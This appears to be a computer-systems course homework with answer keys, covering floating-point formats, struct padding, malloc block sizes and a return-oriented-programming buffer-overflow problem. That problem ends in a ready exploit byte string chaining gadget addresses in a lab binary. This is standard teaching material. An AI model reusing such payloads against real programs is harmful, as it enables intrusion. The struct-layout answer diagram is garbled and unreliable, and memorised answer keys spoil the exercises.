CS 33, Summer 2020
Prof. Ghaforyfard
Homework 3

Problem 1:

Floating point encoding. In this problem, you will work with floating point numbers based on the IEEE floating point format. We consider two different 6-bit formats:

Format A:

- There is one sign bit s.
- There are $k = 3$ exponent bits. The bias is $2^{k-1} - 1 = 3$.
- There are $n = 2$ fraction bits.

Format B:

- There is one sign bit s.
- There are $k = 2$ exponent bits. The bias is $2^{k-1} - 1 = 1$.
- There are $n = 3$ fraction bits.

For formats A and B, please write down the binary representation for the following (use round-to-even). Recall that for denormalized numbers, $E = 1 - \text{bias}$. For normalized numbers, $E = e - \text{bias}$.

Value	Format A Bits	Format B Bits
One	0 011 00	0 01 000
Three		
7/8		
15/8		

```
Answer: *********
      | A          | B
Three | 0 100 10 | 0 10 100   Exact in both formats
7/8   | 0 010 11 | 0 00 111   Exact in both formats, norm in A, denorm in B
15/8  | 0 100 00 | 0 01 111   Format A round to even, format B exact
```

Problem 2:

Arrays. Consider the C code below, where H and J are constants declared with `#define`.

```
int array1[H][J];
int array2[J][H];

void copy_array(int x, int y) {
    array2[x][y] = array1[y][x];
}
```

Suppose the above C code generates the following x86-64 assembly code:

```
# On entry:
#    %edi = x
#    %esi = y
#
copy_array:
    movslq  %esi,%rsi
    movslq  %edi,%rdi
    movq    %rdi, %rax
    salq    $4, %rax
    subq    %rdi, %rax
    addq    %rsi, %rax
    leaq    (%rsi,%rsi,4), %rsi
    leaq    (%rdi,%rsi,2), %rsi
    movl    array1(,%rsi,4), %edx
    movl    %edx, array2(,%rax,4)
    ret
```

What are the values of `H` and `J`?

`H =`

`J =`

Answer:

`H=15`
`J=10`

Problem 3

Consider the following struct `foo`.

```
struct {
    char *a;
    short b;
    double c;
    char d;
    float e;
    char f;
    long g;
    void *h;
} foo;
```

A. Show how the struct above would appear on a 32-bit Windows machine (primitives of size k are k-byte aligned). Label the bytes that belong to the various fields with their names and clearly mark the end of the struct. Use hatch marks to indicate bytes that are allocated in the struct but are not used.

```
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```

B. Rearrange the above fields in `foo` to conserve the most space in the memory below. Label the bytes that belong to the various fields with their names and clearly mark the end of the struct. Use hatch marks to indicate bytes that are allocated in the struct but are not used.

```
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```

C. How many bytes of the struct are wasted in part A?

D. How many bytes of the struct are wasted in part B?

Answer

****

A.

```
 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|a |xx|us|us|b |xx|cn|cn|c |xx|xx|xx|xx|xx|xx|xx| e|u | p|r |i |c |e |e | d|xx|
 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|xx|xx|uk|uk|uk|uk|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
 -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
```

B. Answers vary.

C. 12

D. 4

Problem 4:

How many bytes does the union `u1` occupy in memory?

```
union {
      char ch_array[70];
      struct {
            char ch;
            int i;
            short s;
            struct {
                  char ch_array[5];
                  union {
                        char ch_array[15];
                        long l;
                  } u2[3];
                  float f;
            } s2[7];
      } s1;
} u1;
```

Answer

1 + (3) + 4 + 2 + (6) + (5 + (3) + (15 + (1))*3 + 4 + (4))*7 = 464

- From Q9 we know that s2[7] takes 448 bytes
- s1 :
- ch takes 1 byte
- 3 bytes of padding before i

- i takes 4 bytes
- s takes 2 bytes
- 6 bytes of padding before s2[7] because s2 contains a long
- s2[7] takes 448 bytes
- size of s1 : 464 bytes
- The largest variable in u is s1 which takes 464 bytes
- The union has the same size

Problem 5:

Determine the block sizes and header values that would result from the following sequence of `malloc` requests. Assumptions: (1) The allocator maintains double-word alignment and uses an implicit free list with the block format from **Figure 9.35**. (2) Block sizes are rounded up to the nearest multiple of 8 bytes.

Request	Block size (decimal bytes)	Block header (hex)
`malloc(3)`	_____	_____
`malloc(11)`	_____	_____
`malloc(20)`	_____	_____
`malloc(21)`	_____	_____

Problem 6:

Determine the minimum block size for each of the following combinations of alignment requirements and block formats. Assumptions: Explicit free list, 4-byte `pred` and `succ` pointers in each free block, zero-size payloads are not allowed, and headers and footers are stored in 4-byte words.

Alignment	Allocated block	Free block	Minimum block size (bytes)
Single word	Header and footer	Header and footer	_____
Single word	Header, but no footer	Header and footer	_____
Double word	Header and footer	Header and footer	_____
Double word	Header, but no footer	Header and footer	_____

Problem 9.15 Solution:

This is another variant of Problem 9.6.

Request	Block size (decimal bytes)	Block header (hex)
`malloc(3)`	8	`0x9`
`malloc(11)`	16	`0x11`
`malloc(20)`	24	`0x19`
`malloc(21)`	32	`0x21`

Problem 9.16 Solution:

This is a variant of Problem 9.7. The students might find it interesting that optimized boundary tags coalescing scheme, where the allocated blocks don't need a footer, has the same minimum block size (16 bytes) for either alignment requirement.

Alignment	Allocated block	Free block	Minimum block size (bytes)
Single-word	Header and footer	Header and footer	16
Single-word	Header, but no footer	Header and footer	16
Double-word	Header and footer	Header and footer	24
Double-word	Header, but no footer	Header and footer	16

Problem 7:

Given that you need 32 bytes of padding and your stack is read-only, what string would you need to input to execute a buffer overflow attack that moves the value of %rsp into %rdi?

The following table and section of disassembled code may be helpful.

`movq` S, D

Source	Destination D							
S	`%rax`	`%rcx`	`%rdx`	`%rbx`	`%rsp`	`%rbp`	`%rsi`	`%rdi`
`%rax`	48 89 c0	48 89 c1	48 89 c2	48 89 c3	48 89 c4	48 89 c5	48 89 c6	48 89 c7
`%rcx`	48 89 c8	48 89 c9	48 89 ca	48 89 cb	48 89 cc	48 89 cd	48 89 ce	48 89 cf
`%rdx`	48 89 d0	48 89 d1	48 89 d2	48 89 d3	48 89 d4	48 89 d5	48 89 d6	48 89 d7
`%rbx`	48 89 d8	48 89 d9	48 89 da	48 89 db	48 89 dc	48 89 dd	48 89 de	48 89 df
`%rsp`	48 89 e0	48 89 e1	48 89 e2	48 89 e3	48 89 e4	48 89 e5	48 89 e6	48 89 e7
`%rbp`	48 89 e8	48 89 e9	48 89 ea	48 89 eb	48 89 ec	48 89 ed	48 89 ee	48 89 ef
`%rsi`	48 89 f0	48 89 f1	48 89 f2	48 89 f3	48 89 f4	48 89 f5	48 89 f6	48 89 f7
`%rdi`	48 89 f8	48 89 f9	48 89 fa	48 89 fb	48 89 fc	48 89 fd	48 89 fe	48 89 ff

```
0000000000401878 <setval_237>:
  401878:       c7 07 48 89 c7 c7       movl   $0xc7c78948,(%rdi)
  40187e:       c3

000000000040186a <addval_273>:
  40186a:       8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
```

```
  401870:       c3                      retq

00000000004018cd <addval_190>:
  4018cd:       8d 87 41 48 89 e0       lea    -0x1f76b7bf(%rdi),%eax
  4018d3:       c3

00000000004018e2 <getval_345>:
  4018e2:       b8 48 89 cf c1          mov    $0xc1cf8948,%eax
  4018e7:       c3

0000000000401975 <setval_350>:
  401975:       c7 07 48 89 e6 90       movl   $0x90e68948,(%rdi)
  40197b:       c3                      retq
```

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

d0 18 40 00 00 00 00 00

6c 18 40 00 00 00 00 00